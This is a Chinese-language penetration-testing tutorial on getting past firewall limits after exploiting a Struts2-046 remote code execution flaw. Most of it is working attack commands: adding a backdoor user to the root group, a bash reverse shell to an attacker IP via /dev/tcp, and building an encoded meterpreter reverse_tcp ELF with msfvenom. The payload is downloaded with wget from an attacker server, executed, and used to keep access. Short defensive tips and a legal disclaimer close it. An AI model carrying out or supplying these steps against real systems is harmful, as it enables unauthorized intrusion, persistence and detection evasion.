当Struts2遇到防火墙,你的思路够骚吗?
字数 1126 2025-08-18 11:37:28
Struts2漏洞利用与防火墙绕过技术详解
一、漏洞背景
本文介绍的是针对存在Struts2-046远程代码执行漏洞的系统进行渗透测试的过程。攻击者已确认目标系统存在该漏洞,并已获得root权限,但遇到了防火墙/安全策略的限制:
- 可以执行非交互性命令
- 无法上传包含可执行代码的文件
- 常规webshell上传失败(仅允许上传txt等文本文件)
二、攻击思路分析
在受限环境下,攻击者提出了三种可能的攻击路径:
- 直接添加用户:通过非交互命令添加用户并加入root组
- 反弹shell:尝试建立交互式会话
- MSF后门:使用Metasploit生成编码后的Linux后门
三、详细攻击步骤
思路一:直接添加用户
-
添加用户:
useradd test -
设置密码(非交互方式):
echo "PASSWORD" | passwd --stdin USERNAME -
将用户加入root组:
usermod -g root test -
验证用户:
id test
遇到的问题:虽然用户添加成功,但SSH连接时密码被拒绝。原因是passwd --stdin在某些系统上不可靠。
思路二:反弹shell
-
在攻击机开启监听:
nc.exe -vv -l -p [端口] -
在目标机尝试bash反弹:
bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1
遇到的问题:防火墙拦截了反弹连接,尝试不同端口和方式均失败。
思路三:MSF后门利用
1. 生成后门
对于Metasploit 4.2及以下版本:
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=[端口] R | \
msfencode -t elf -e x86/shikata_ga_nai -c 3 -o /root/test
对于新版Metasploit:
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp \
LHOST=[IP] LPORT=[端口] -e x86/shikata_ga_nai -i 3 -f elf > /root/test
参数说明:
-a x86:32位架构--platform linux:目标平台-p:指定payload-e x86/shikata_ga_nai -i 3:使用shikata编码3次(绕过检测)-f elf:输出为ELF格式
2. 传输后门
使用wget从攻击者控制的服务器下载:
wget [URL] -O /root/test
3. 设置权限
chmod 777 /root/test
4. 启动监听
在MSF控制台:
use exploit/multi/handler
set LHOST [IP]
set LPORT [端口]
set PAYLOAD linux/x86/meterpreter/reverse_tcp
exploit
5. 执行后门
./test
6. 后续操作
获得meterpreter会话后:
- 添加后门用户
- 生成SSH密钥直接连接
- 或直接使用MSF维持权限
四、技术要点总结
- 编码重要性:shikata_ga_nai编码3次可有效绕过检测
- 权限设置:必须给后门文件执行权限(chmod 777)
- 环境适应:
- 了解目标防火墙限制
- 测试不同方法寻找突破口
- 备选方案:当直接添加用户失败时,考虑后门方式
- 工具选择:根据Metasploit版本使用msfpayload或msfvenom
五、防御建议
- 及时修补Struts2漏洞
- 实施严格的防火墙规则:
- 限制出站连接
- 监控异常端口活动
- 文件上传限制:
- 检查文件内容而不仅是扩展名
- 禁止执行上传目录的文件
- 用户权限监控:
- 审计用户添加操作
- 限制root组权限
六、法律与道德声明
本文所述技术仅用于合法安全测试和研究目的。实际渗透测试必须获得明确授权,测试后应及时向管理员报告漏洞。未经授权的测试可能构成违法行为。